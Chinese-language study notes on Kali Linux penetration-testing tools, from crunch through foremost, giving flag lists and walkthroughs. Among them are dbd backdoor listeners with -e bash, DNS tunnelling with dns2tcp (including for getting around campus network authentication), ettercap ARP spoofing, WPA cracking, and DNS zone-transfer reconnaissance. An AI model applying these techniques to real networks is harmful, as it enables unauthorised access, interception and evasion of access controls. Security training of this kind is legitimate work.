参考::https://blog.csdn.net/Vincent_zhang1949/article/details/105046599?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1.pc_relevant_antiscanv2&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1.pc_relevant_antiscanv2&utm_relevant_index=1

clang

clang-Clang C,C ++和Objective-C编译器。

clang是一个C、c++和Objective-C编译器,它包含预处理、解析、优化、代码生成、汇编和链接。根据传递的高级模式设置,Clang会在完成完整链接之前停止。尽管Clang是高度集成的,但重要的是了解编译的阶段,了解如何调用它。

指令好多:
详情参考https://blog.csdn.net/qq_40399982/article/details/112379293

爱奇艺教程:

https://www.iqiyi.com/w_19rutgeipt.html

clang++

clang++是一款LLVM编译器;跟linux下的gcc、gc++编译器差不多。

它是clang的另一个升级版本,使用方法其实都是一样的。同理于c语言和c++;

clang就好比gcc编译器;

clang++就好比gc++编译器;

image-20220411132044495

Clipboard Manager Settings

剪贴板配置管理器

image-20220411132528127

image-20220411132536123

commix

这个工具已经失效了 kali上好多工具都失效了

crunch

字典生成工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
crunch 6 8
//生成6到8位字典

crunch 6 8 1234567890 -o /root/num.list
//生成6到8位字典,参数为1234567890,-o 输出文件位置与名字

crunch 10 10 -t @@@@@@1219 -o/root/num.list
//-t 猜测部分,@表示未知参数

crunch 10 10 -f /usr/share/rainbowcrack/charset.txt mixalpha -o /root/num.list
// -f 指定字符集文件 使用mixalpha字符集

crunch 5 5 -t 2018%
生成以2018开头的5位纯数字密码

crunch 5 5 -p zhangsan lisi wangwu 123 456 789
生成zhangsan 、lisi、wangwu、123、456、789这个几个词组的组合,组合最大为5

image-20220411133747547

cutcapt

网站截图工具

1
cutycapt --url=http://www.baidu.com/ --out=baidu.png               

image-20220411135558468

image-20220411135658970

D

davtest

WebDAV是基于Web服务的扩展服务。它允许用户像操作本地文件一样,操作服务器上的文件。借助该功能,用户很方便的在网络上存储自己的文件。为了方便用户使用,通常会提供给用户较大的文件权限,如上传、修改甚至是执行权限。Kali Linux提供了一款WebDAV服务漏洞利用工具DAVTest。该工具会自动检测权限,寻找可执行文件的权限。一旦发现,用户就可以上传内置的后门工具,对服务器进行控制。同时,该工具可以上传用户指定的文件,便于后期利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
-auth+
授权(用户:密码)

-cleanup
完成后删除所有上传的内容

-directory+
要创建的目录的后缀部分

-debug+
DAV调试级别1-3(将2和3日志请求/响应复制到/tmp/perldav_debug.txt)

-move
放置文本文件,然后移动到可执行文件

-nocreate
不要创建目录

-quiet
仅打印摘要

-rand+
使用它代替文件名的随机字符串

-sendbd+
发送后门:
自动-用于任何成功的测试
ext-后门/目录中与文件名匹配的扩展名

-uploadfile+
上传此文件(需要-uploadloc)

-uploadloc+
将文件上传到此位置/名称(需要-uploadfile)

-url+
DAV位置的url

在服务器上利用WebDAV并获取Shell

https://www.myncic.com/archives/5570

DB Browser for SQLite

DB Browser for SQLite是一款开源的的sqlite数据库编辑器,在这里你既能创建一个新的数据库,也能打开已有的sqlite数据库进行编辑和查看,它最大的特点就是采用表格的创建和编辑方式,即便是您没有学习过SQL语句,也能使用该工具进行数据库创建和编辑的操作。

image-20220411140109938

dbd

dbd功能类似于Netcat,但提供强大的加密功能,支持AES-CBC-128和HMAC-SHA1加密。该工具可以运行在类Unix和Windows系统中。渗透测试人员首先使用该工具在目标主机建立监听,构建后门。然后,再在攻击机使用该工具连接目标主机,执行Shell命令,从而达到控制目标主机的功能。为了安全,用户可以指定数据传输所使用的密钥,避免数据被窃听。除了作为后门工具,该工具还可以用于点对点的通信功能,如聊天等。
  这个程序是自由软件;您可以在自由软件基金会发布的GNU通用公共授权条款下重新发布和/或修改它;许可证的版本2,或者(根据您的选择)任何更新的版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
-l
监听传入的连接

-p n
选择要侦听的端口,或选择要从其连接的源端口

-a address
选择一个地址以收听或连接

-e prog
连接后要执行的程序(例如-e cmd.exe或-e bash)

-r n
无限重生/重新连接,在两次连接尝试之间暂停n秒。 -r0可用于在断开连接后重新监听(就像常规守护程序一样)

-c on|off
开/关加密。 指定是否要使用内置的AES-CBC-128 + HMAC-SHA1加密实现(由Christophe Devine-http://www.cr0.net:8040/)或默认不使用:-c on

-k secret
覆盖用于加密的默认短语(秘密必须在客户端和服务器之间共享)

-q
安静,安静,不打印任何内容(覆盖-v)

-v
详细的

-n
切换仅数字的IP地址(不进行DNS解析)。 如果您两次指定-n,则原始状态将处于活动状态(即-n就像打开/关闭开关一样)

-m
打开/关闭切换监视(监听)(仅与-e选项一起使用)。 还可以通过指定-vv(两次-v)来打开监听

-P profix
为所有出站数据添加前缀(+硬编码分隔符)。此选项仅对“聊天模式”中的dbd有用(以昵称发送的前缀行)

-H on|off
用硬编码(彩色)转义序列突出显示传入的数据(例如,聊天)。 默认为:-H off

-V
打印版本标语并退出(在错误报告中包括该输出,并将错误报告发送至michel.blomgren@tigerteam.se)

类unix操作系统的特定选项:

1
2
3
4
5
6
7
8
9
-s
调用shell,仅此而已。 如果dbd是setuid 0,它将调用一个根shell

-w n
空闲的读/写操作和程序执行的“固定超时”(以秒为单位)(-e选项)

-D on|off
分叉并在后台运行(守护进程)。 默认值:-D off

Dbd 也仅仅只支持 TCP/IP 连接

image-20220411142114940

dirb

目录扫描软件

dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
格式:dirb <url_base> [<wordlist_file(s)>] [options]

-a 设置user-agent

-p <proxy[:port]>设置代理

-c 设置cookie

-z 添加毫秒延迟,避免洪水攻击

-o 输出结果

-X 在每个字典的后面添加一个后缀

-H 添加请求头

-i 不区分大小写搜索

1.使用/usr/share/wordlists/dirb/big.txt 字典来扫描Web服务

dirb http://192.168.1.116 /usr/share/wordlists/dirb/big.txt

image-20220411145427811

2.设置UA和cookie

1
dirb http://192.168.1.116 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -c "BAIDUID=D5C6351DAC89EF8811A51DF3A9A9C0C4:FG=1; HMACCOUNT=2906306413846532; BIDUPSID=D5C6351DAC89EF8811A51DF3A9A9C0C4; PSTM=1585744543; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; H_PS_PSSID=30974_1438_31124_21098; HMVT=6bcd52f51e9b3dce32bec4a3997715ac|1587436663|; delPer=0; PSINO=6; BDRCVFR[gltLrB7qNCt]=mk3SLVN4HKm"

image-20220411145505749

3.对每个字典添加.dist后缀并延迟100毫米

dirb http://192.168.1.116 -X .dist -z 100 -o test.txt

image-20220411145534821

4.使用代理

dirb http://192.168.1.116 -p 46.17.45.194:5210

image-20220411153431885

dirbuster

扫描Web目录,可以发现潜在的渗透目标。不同于网站爬虫,使用字典方式可以发现网站没有关联的网页。Kali Linux提供一款基于字典的Web目录扫描工具DIRB。该工具根据用户提供的字典,对目标网站目录进行暴力猜测。它会尝试以递归方式进行爆破,以发现更多的路径。同时,该工具支持代理、HTTP认证扫描限制访问的网站。该工具还提供两个命令,帮助用户从网页生成字典,或者生成定制字典。
DirBuster是一个多线程的基于Java的应用程序设计蛮力Web /应用服务器上的目录和文件名 。
image-20220411153729784

或者如下如标注:

image-20220411153752936

御剑怎么用 它就怎么用

dmitry

Dmitry是一个由C语言编写的UNIX/(GNU)Linux命令行工具,它可用于收集主机相关信息,比如子域名、Email地址、系统运行时间信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-o filename
创建结果的ascii文本输出到指定的文件名。 如果未指定输出文件名,则输出将保存到“ target.txt”。 如果未以任何形式指定此选项,则默认情况下,输出将发送到标准输出(STDOUT)。 此选项必须尾随所有其他选项,即“ Dmitry -winseo target”。

-i
在目标IP地址上执行Internet号码whois查找

-w
在主机目标上执行whois查找

-n
检索有关主机的netcraft.com数据,其中包括操作系统,Web服务器版本和正常运行时间信息(如果可用)。

-s
在指定的目标上执行子域搜索。 这将使用服务器搜索引擎尝试以sub.target形式查找子域。 可以定位的子域级别没有设置限制,但是,最大字符串长度为40个字符(NCOL 40)以限制内存使用。然后,如果可能的子域返回正数,则可能会将其替换为IP地址 但是,如果主机在其DNS记录中使用星号,则所有解析的子域都将返回正值。

-e
在指定的目标上执行电子邮件地址搜索。 通过尝试查找目标主机的可能电子邮件地址,此模块使用与子域搜索相同的概念来工作。 电子邮件地址也可以用于目标主机的可能子域。 电子邮件地址的长度限制为50个字符(NCOL 50),以限制内存使用。

-p
在主机目标上执行TCP端口扫描。 该模块将列出特定范围内的打开,关闭和过滤端口。

-f
此选项将导致TCP portscan模块报告/显示已过滤端口的输出。 这些通常是已由指定主机/目标上的防火墙过滤和/或关闭的端口。 此选项要求将'-p'选项作为上一个选项传递。 例如,“ dmitry -pf target”。

-b
如果在扫描TCP端口时收到横幅,则此选项将导致TCP portcan模块输出横幅。 此选项要求将'-p'选项作为上一个选项传递。 例如,“ dmitry -pb目标”。

-t
这将设置扫描单个端口时portscan模块的生存时间(TTL)。 默认设置为2秒。扫描具有防火墙和/或具有筛选端口的主机可能会降低扫描速度,通常这是必需的。

image-20220411154622000

dns2tcpc

dns2tcp是一款利用dns协议传输tcp数据的工具。

适用条件

客户端的防火墙禁止tcp出站流量,无法上网,dns2tcp利用dns协议传输tcp数据,从而实现上网(dns协议是udp协议走53端口)

通过dns2tcp绕过校园网认证进行免费上网 前提是学校的这些端口打开了

https://zhuanlan.zhihu.com/p/354115958

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-c   大流量压缩

-F 前台运行

-f 指定配置文件

-r 指定使用的资源

-z 指定DNS域名

-k 设置传输密码

-l 侦听本地端口

-d 编译水平(1 | 2 |3 )

准备阶段

1.在windows 2003 配置DNS服务器

image-20220411155410879

修改服务器 /etc/dns2tcpd.conf配置文件

image-20220411155425795

实例演示-建立隧道

1.服务器运行以下命令,侦听53端口,启动配置文件里所配置的资源,等待客户端来连接。

dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

image-20220411155438325

2.客户端运行以下命令,侦听本地7002端口,使用ssh资源,如果有数据产生,将通过DNS服务器将数据发给服务器。

这样我们的7002端口,就跟目标53端口建立了隧道。

dns2tcpc -c -k pass -d 1 -l 7002 -r ssh -z lab.test.com
image-20220411155626877

3.使用ssh连接本地7002端口,也就是连接服务器53端口,然后服务器在转发给22端口。

ssh root@127.0.0.1 -p 7002

image-20220411155724135

4.这里我们也可以结合ssh动态端口转发命令,就可以配置浏览器进行代理上网。

ssh -CfNg -D 8080 root@127.0.0.1 -p 7002

image-20220411155751342

dns2tcpd

有些网络的防火墙设置只允许端口53的UDP流量,就不能通过tcp搭建隧道,这种情况下我们可以通过UDP搭建DNS隧道,通过搭建一个DNS服务器委派的子域,这个子域因为使我们自己搭建的主机,这时候就可以通过这个子域搭建DNS隧道,和网络被限制的主机1交互。

主机3为DNS服务器需要设置为固定的IP地址

它的原理是通过DNS请求头域名的信息 TXT记录加密传输信息,我们可以通过抓取DNS隧道数据包,可以看到DNS的查询请求的域名信息test.lab.com前的一串数据,里面就是加密过后的交互数据。DNS隧道建立后,客户端(主机1)还是会不断地发包给服务器端(主机2),类似心跳一样,确认服务器端处于存活状态,保证传输的顺畅。

image-20220411155942288

在主机3上搭建一个DNS服务器,并委派一个子域给主机2,配置转发器,除test.lab.com之外的域名用别的域名地址解析

搭建DNS隧道

在主机2

修改dns2tcpd的配置

vim /etc/dns2tcpd.conf

image-20220411160009476

ssh:127.0.0.1:22

smtp:127.0.0.1:25

socks:127.0.0.1:1080

http:192.168.1.1:80

https:127.0.0.1:8087

在DNS服务器主机2上开启ssh,smtp,socks,http,https服务,开放22,25,1080,80,8087端口

配置一下ssh,使其能够在root权限下使用

image-20220411160029520

image-20220411160336705

主机2开启ssh服务。

service ssh start

主机2开启dns隧道

dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

image-20220411160353575

主机1通过DNS隧道连接主机2使用ssh服务

dns2tcp -c -k pass123 -d 1 -l 2222 -r ssh -z test.lab.com

-c 启动流量压缩

-d debug查看信息

-l 设置本地侦听端口

-r 指定资源

img

在主机1上访问2222端口就相当于在主机2上访问的22端口

在主机1另开一个终端

ssh root@127.0.0.1 -p 2222

主机1就通过ssh登录上了主机2

img

主机1通过DNS隧道连接主机2使用http服务

在主机1上

输入dns2tcp -c -k pass123 -d 1 -l 2222 -r http -z test.lab.com

打开浏览器,输入http://127.0.0.1:2222/,就相当于是在主机2上访问192.168.1.1一样

img

主机1通过DNS隧道连接主机2使用https服务

dns2tcp -c -k pass123 -d 1 -l 7001 -r https -z test.lab.com

img

DNS隧道设置网关功能

DNS隧道是没有网关功能的,假如想将DNS隧道的客户端主机1作为一个网卡的话,先建立一个DNS隧道里再嵌套一个ssh隧道,用ssh隧道作为一个网关使用

img

主机3为DNS服务器需要设置为固定的IP地址

主机2开启ssh服务。

service ssh start

主机2开启dns隧道

dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

主机1通过DNS隧道连接主机2使用ssh服务,将2222端口作为DNS隧道的入口。

dns2tcpc -k pass123 -d 1 -l 2222 -r ssh -z test.lab.com

img

再再开一个终端,在主机1的DNS隧道里再搭建一个ssh隧道,并作为网关使用

ssh -CfNg root@127.0.0.1 -p 2222 -D 7002

img

主机1网关搭建好了,在主机4上打开浏览器设置代理,将主机1的ip和端口作为代理

img

然后主机4就能上网了,就相当于在主机2上网差不多。

img

通过内网的DNS服务器与外网DNS建立DNS隧道

img

主机1和主机3作为DNS服务器,作为DNS服务器IP地址需要设置为固定的IP地址,主机1的DNS配置上只做转发,将所有的DNS请求都转发给192.168.1.10,主机3委派子域给主机2的ip192.168.1.110,设置域名为test.lab.com

在主机2,停掉openvas防止占用一些特定的端口

开启DNS隧道

dns2tcp -F -d 1 -f /etc/dns2tcpd.conf

开启ssh

service ssh start

安装squid3

apt-get install squid3

开启squid

service squid start

在主机4,将DNS地址设置为内网中DNS服务器的ip地址,也就是主机1的ip:1.1.1.11

修改DNS sudo vi /etc/resolv.conf

nameserver 1.1.1.11

连接隧道

dns2tcpc -c -k-d 1 -l 8080 -r http -z test.lab.com

浏览器的代理设置为127.0.0.1:8080,便能上网了,和在主机2上上网一样。

dnschef

DNSChef是一个高度可配置的DNS代理,用于渗透测试和恶意软件分析。DNS代理(又名“假DNS”),可用于分析用户间传输的网络流量。例如,我们可以使用一个DNS代理伪造所有到“badguy.com”的请求至本地计算机,进而对流量进行分析。

就是说代理完之后 靶机电脑有关网络的操作 你都看得到

一、设置DNS代理

1.首先将计算机设置为使用DNS名称服务器工具。

Linux:

vim /etc/resolv.conf

nameserver 127.0.0.1(如果在本地运行)

Windows:

控制面板\所有控制面板项\网络和共享中心

image-20220411160534687

属性–TCP/IPv4

image-20220411160547775

二、运行DNSChef

image-20220411160607531

查询一个域的”A”记录

image-20220411160637676

image-20220411160643299

三、拦截所有响应

使用–fakeip参数修改域名指向IP

dnschef –fakeip=127.0.0.1

四、过滤域

dnschef –fakedomains baidu.com –fakeip 127.0.0.1:所有请求baidu.com转到127.0.0.1,

五、反向过滤

dnschef –fakeip=127.0.0.1 truedomains baidu.com:只有baidu.com匹配为真实地址,其他的都为127.0.0.1

六、外部定义文件

domain = ip对的集合,使用空格隔开。

dnschef –file 文件名

七、其他的配置

1.–interface | -i参数指定在其他的端口监听DNSChef。

2.–nameservers参数指定名称服务器,默认为8.8.8.8。多个使用”,”隔开

3.-p参数指定开启的端口监听DNS请求

4.-q参数不显示头部

5.-t | –tcp使用tcp DNS 代理

dnsenum

dnsenum是一款非常强大的 域名信息收集工具,它是由参与backtrack 开发项目的程序员所设计,设计者名叫Fillp (barbsie) Waeythens ,该名开发者是一个精通web渗透测试的安全人员,并对DNS信息收集有着非常丰富的经验。

定义

dnsenum的目的是尽可能收集一个域的信息,它能够通过谷歌或者字典文件猜测可能存在的域名,以及对一个网段进行反向查询。它可以查询网站的主机地址信息、域名服务器、mx record(函件交换记录),在域名服务器上执行axfr请求,通过谷歌脚本得到扩展域名信息(google hacking),提取自域名并查询,计算C类地址并执行whois查询,执行反向查询,把地址段写入文件。

DNSenum是一款dns查询工具。它能够通过Google或字典文件猜测可能存在的域名,并对一个网段进行反向查询。
它不仅可以查询网站的主机地址信息,域名服务器和邮件交换记录,还可以在域名服务器上执行axfr(区域传送)请求,然后通过Google脚步得到扩展域名信息,提取子域名并查询,最后计算IP地址并执行whois查询,执行反向查询,把地址写入文件。

常用选项:

1
2
3
4
5
–enum 相当于–threads 5 -s 15 -w.
-v 详细显示所有进度和所有错误消息,加上-v会很慢,会动态的进行记录扫描,产生消息过多
-w 执行whois查询
-o [file] 以XML格式输出到指定文件中,方便之后查询
-t/ --timeout 超时设置,可以提高速度但可能会影响查询结果

示例

1.对sina.com(新浪) 实现dns查询
命令: dnsenum –enum sina.com

image-20220411172234667

基本的域名IP信息。
IN:INTERNET,表示资源都在Internet上

A记录代表”主机名称”与”IP”地址的对应关系, 作用是把名称转换成IP地址,意思是说该主机的IP对应之意!DNS使用A记录来回答”某主机名称所对应的IP地址是什么?”主机名必须使用A记录转译成IP地址,网络层才知道如何选择路由,并将数据包送到目的地.你要知道的是A就代表了将域名转换成ip,现在好多的工具都有这个功能。
image-20220411172523680

image-20220411172549590

对sina.com进行区域传送,结果基本为refused,现在绝大部分dns服务器对区域传送进行了严格的限制,不过尝试一切能够尝试的,才能得到甘甜的果实。

1
2
3
区域传送:在本域的各个域名服务器之间进行信息的同步
像这样:
dig @ns1.example.com example.com axfr

如下图

image-20220411173127728

image-20220411172615318

这里是dnsenum进行Google脚步搜索,这里未连接到Google自然就无法使用这个功能。
\2. 使用字典文件进行dns查询

1
dnsenum --noreverse -f /usr/share/dnsenum/dns.txt sina.com

在kali Linux中/usr/share/dnsenum/中
前面和上面例子一样

image-20220411174312296

子域名暴力查询部分
CNAME(别名): 用于将DNS域名的别名映射到另一个主要的或规范的名称 。意思就是通过CNAME将你访问的没有IP地址的域名间接的变成访问另外一个主机。比如你要访问上图的ads.sina.com实际访问的时候,就变成了访问ww1.sinaimg.cn.w.alikunlun.com,它只是起到一个映射的功能。
image-20220411174343088

C类IP地址

image-20220411174403222

IP块
由于dnsenum会使用反向查询IP地址,所以使用–noreserve跳过这个过程以加快查询速度。

dnsrecon

由Carlos Perez 用Python开发,用于DNS侦察。

此工具可以完成下面的操作:

1
2
3
4
5
6
7
区域传输 ---- Zone Transfer
反向查询 ---- Reverse Lookup
暴力猜解 ---- Domain and Host Brute-Force
标准记录枚举 ---- Standard Record Enumeration (wildcard,SOA,MX,A,TXT etc.)
缓存窥探 ---- Cache Snooping
区域遍历 ---- Zone Walking
Google查询 ---- Google Lookup

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
-h, --help                                       打印帮助信息并退出

-d, --domain <domain> 目标域名

-r, --range <range> 对给定格式的IP范围进行爆破,格式为(开始IP-结束IP)或(范围/掩码).

-n, --name_server <name> 指定一个域名服务器

-D, --dictionary <file> 用来爆破的子域名与主机名字典文件

-f 在保存结果时忽略枚举域查找结果

-t, --type <types> 指定枚举类型:

std 如果NS服务器的域传送失败,进行SOA、NS、A、AAAA、MX 和 SRV的枚举(必须使用-d参数指定域名才可使用此参数)

rvl 对给定的IP范围或CIDR进行反向查找(必须使用-r指定IP范围)

brt 使用指定的字典爆破域名与主机名

srv 枚举SRV记录

axfr 对所有的NS服务器进行域传送测试

goo 对子域名和host进行Google搜索

snoop 对-D选项给出的文件进行DNS服务器缓存侦测

tld 删除给定域的TLD并测试在IANA中注册的所有的TLD

zonewalk 使用NSEC记录进行DNSSEC域漫游

-a 在标准枚举过程中进行空间域传送测试

-s 在标准枚举过程中进行IP地址范围的反向查找

-g 在标准枚举的过程中进行Google枚举

-w 在标准枚举的过程中进行深度whois查询和IP反查

-z 在标准枚举的过程中进行DNSSEC域漫游

--threads <number> 指定线程数

--lifetime <number> 指定查询等待的时间

--db <file> 将结果存储为sqlite3数据库的文件

--xml <file> 将结果存储为XML格式的文件

--iw 即使发现了通配符也依然爆破

-c, --csv <file> CSV格式的文件

-j, --json <file> json文件

-v 显示爆破的过程

实例:

image-20220411180210542

对给定的IP范围进行域名反查

image-20220411180607359

E

Exploit Database

实时外网渗透实例

image-20220411180850649

Engrampa 归档管理器

image-20220411182946712

就是看压缩包的软件

enum4linux

描述:

image-20220411183237570

选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-U
获取用户列表

-M
get machine list*

-S
获取共享列表

-P
获取密码策略信息

-G
获取组和成员列表

-d
详细说明,适用于-U和-S

-u user
指定要使用的用户名(默认为“”)

-p pass
指定要使用的密码(默认为“”)

附加选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-a
执行所有简单的枚举(-U -S -G -P -r -o -n -i)。如果您未提供其他任何选项,则启用此选项。

-h
显示帮助信息并退出

-r
通过RID循环枚举用户

-R range
要枚举的范围(默认值:500-550、1000-1050,暗含-r)

-K n
继续搜索RID,直到n个连续的RID与用户名不对应为止。 Impies RID范围以999999结尾。对于DC很有用。

-l
通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DC

image-20220411183850660

观察不同参数的数据包,发现enum4linux在扫描的时候会先发送下面红框内的数据,追踪流发现数据格式几乎完全一致

image-20220411183924965

Ettercap

ettercap是一款强大的嗅探工具。

ettercap主页面

image-20220411184151666

ettercap mitm方法

1
2
3
4
5
ARP                                    ARP欺骗
ICMP 发送ICMP数据包重定向到kali,然后由kali转发(只有受害者发出的数据包经过kali)
DHCP 发送DHCP数据包,让受害者认为kali是路由器,(只有受害者发出的数据包经过kali)
Swith Port Stealing ARP静态绑定欺骗
NDP ipv6协议欺骗技术

实例演示-arp欺骗

1.打开ettercap,选择你要使用的网卡,点击”对号”。

image-20220411184437941

2.点击”搜索”按钮,进行主机发现。

image-20220411184514872

3.点击”红色方框里面的按钮”,我们可以查看”host list”.

image-20220411184540732

4.将想要欺骗的网关和受害者分别添加到”add to target 1”和”add to target 2”。(需要至少两个192ip网关)

image-20220411184640138

5.点击”圆圈”,选择”arp poisoning spoofing”。

image-20220411184652866

6.选择”sniff remote connections”,然后点击”OK”。这样就配置完成,ettercap会自动开始arp欺骗。

image-20220411184705664

7.我们在受害者主机上可以看到网关的mac地址,已经替换成192.168.3.23的mac地址。

image-20220411184727150

ettercap-graphical

跟gttercap一样 特地写了个图形模式 可实际上两个都是图形牧师

exe2hex

提过多种编码方式转换文件

转换成二进制文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-h,--help
显示帮助信息并退出

-x EXE
EXE二进制文件转换

-s
从STDIN读取

-b BAT
BAT输出文件(DEBUG.exe方法-x86)

-p POSH
PoSh输出文件(PowerShell方法-x86 / x64)

-e
URL编码输出

-r TEXT
pRefix-在每行命令之前添加的文本

-f TEXT
suFfix-在每行命令后添加的文本

-l INT
每行最大十六进制值

-c
在转换之前克隆并压缩文件(使用-cc进行更高压缩)

-t
创建一个Expect文件,以自动进行Telnet会话。

-w
创建一个Expect文件,以自动执行WinEXE会话。

-v
启用详细模式

image-20220411190735178

F

Fakelogon

https://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653578752&idx=1&sn=862eef80bdac97774e365534e33a8693&chksm=811b7042b66cf954544947130dd671fe0a062b39310af794d5f7cdaf0bde05ca0df9e73ccfaf&mpshare=1&scene=23&srcid=0416TxUfJ8xijnjXmm6ob86J&sharer_sharetime=1650113928776&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd

Firefox ESR

火狐浏览器

faraday IDE start

一款多功能协同式渗透测试工具&漏洞管理平台

新版本的Faraday引入了一个新的概念,即IPE(整合型渗透测试环境),也就是所谓的多用户渗透测试IDE。在Faraday的帮助下,广大研究人员可以在安全审计的过程中跟其他用户分享分析数据,或查询其他用户提供的分析结果。

值得一提的是,除了数据方面的共享之外,Faraday还可以将社区中可用的工具以多用户协同使用的方式提供给大家。

毫无疑问,Faraday提供了一种发送、上传和共享漏洞的新方式,因为新版Faraday整合了Service Now,因此我们的选择将会更加丰富

image-20220411191330688

image-20220411191422417

faraday IDE stopFaraday可以将用户加载的数据以不同的可视化效果显示出来,这对于管理人员和渗透测试人员来说都非常实用

image-20220411191919071

整合了Jira

Faraday允许我们在不需要填写任何表单的情况下向Jira发送多个漏洞,因此,我们不必在每次提交漏洞时输入我们的Jira凭证,我们可以直接在工具配置项中进行修改或更换项目。

Burp插件翻新1、 Burp插件可直接使用多种Faraday服务器API,因此我们将不再需要GTK客户端;

2、 插件采用Java语言重写;

3、 添加了双因素身份验证(2FA)支持来增强安全性;

fern wifi cracker

Fern Wifi Cracker是一种无线安全审计和攻击软件编写的程序,使用Python编程语言和Python的Qt图形界面库,该程序是能够破解和恢复WEP、WPA、WPS键和无线或以太网上运行其他基于网络的攻击基于网络的。

使用这个工具前需要一张网卡, 下面是网卡部署:

image-20220411192823023

使用这款工具前最好自定义一个MAC地址,以便隐藏我们的真实MAC地址信息。

image-20220411192948233

由于Fern WiFi Cracker是图形界面的,不需要敲命令,所以操作起来比Aircrack-ng简单了许多。

首先选择Interface,如下图中的wlan0,然后点击蓝色Wifi图标使状态变为Active

image-20220411193129963

软件会自动识别附近的WEP和WPA网络,这里我们只搜到了WPA类型的网络,点击WPA图标。

进入以下界面,选择我们需要破解的Wifi SSID名称,然后点击Browse浏览字典文件。

如果该热点支持WPS就选择WPS Attack模式,最后点击右侧的Wifi Attack按钮开始破解

image-20220411193252883

和Aircrack-ng一样耐心等待,运气好的话就会看到破解成功的界面:

Fern WiFi Cracker除了破解WEP、WPA/WPA2加密网络外,还具备MAC地址地理位置追踪、Cookie劫持以及对HTTP、Telnet、FTP服务的爆破功能。

但不幸的是MAC地址地理位置追踪功能由于调用的服务在2011年已经关闭,所以无法使用此项功能了。

Cookie劫持功能未测试成功,只抓到本机的Cookie信息

ffind

描述

image-20220411194053536

参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
-a
查找所有出现的inode。

-d
仅查找已删除的条目。

-f fstype
标识映像的文件系统类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-u
仅查找已删除的条目。

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o imgoffset
文件系统在映像中开始的扇区偏移量。

-b dev_sector-size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-v
详细输出到stderr。

-V
显示版本信息

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个文件(例如,以'.001'结尾的指示),则后续的图像段将自动包含在内。
inode要查找的inode的整数。
该程序搜索所有目录条目以查找给定的inode。 当已使用ifind(1)从磁盘单元地址中识别出一个索引节点时,这很有用。

fierce

Fierce是使用多种技术来扫描目标主机IP地址和主机名的一个DNS服务器枚举工具。它可以快速获取指定域名的DNS服务器,并检查是否存在区域传输(Zone Transfer)漏洞。如果不存在该漏洞,会自动执行暴力破解,以获取子域名信息。而且,对获取的IP地址,还会遍历周边IP地址,以获取更多的信息。最后,还会将IP地址进行分段统计,以便于后期其它工具扫描,如Nmap。

image-20220411194815618

实例:

image-20220411195435650

fls

描述:

image-20220411195642382

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-a
显示“.” 和“ ..”目录条目(默认情况下不会)

-d
仅显示已删除的条目

-D
仅显示目录条目

-f fstype
文件系统的类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-F
仅显示文件(所有非目录)条目。

-l
以长格式显示文件详细信息。 显示以下内容:file_type inode file_name mod_time acc_time chg_time cre_time size uid gid

-m mnt
以时间机器格式显示文件,以便可以使用mactime(1)创建时间线。 作为mnt给出的字符串将在文件名之前作为安装点(例如/ usr)。

-p
显示每个条目的完整路径。 默认情况下,它以“ +”号表示递归运行的目录深度。

-r
递归显示目录。 这不会跟随已删除的目录,因为它不会。

-s seconds
原始系统的时间偏差(以秒为单位)。 例如,如果原始系统的速度慢了100秒,则该值为-100。 仅在给出-l或-m的情况下使用。

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o imgoffset
文件系统在映像中开始的扇区偏移量。

-b dev_sector_size
基础设备扇区的大小(以字

image-20220411200710362

foremost

ctf工具 用于分割 和binwalk差不多

相对来说binwalk更加强大,速度也快,但是有时候如果不能分离出来,就可以试试看foremost

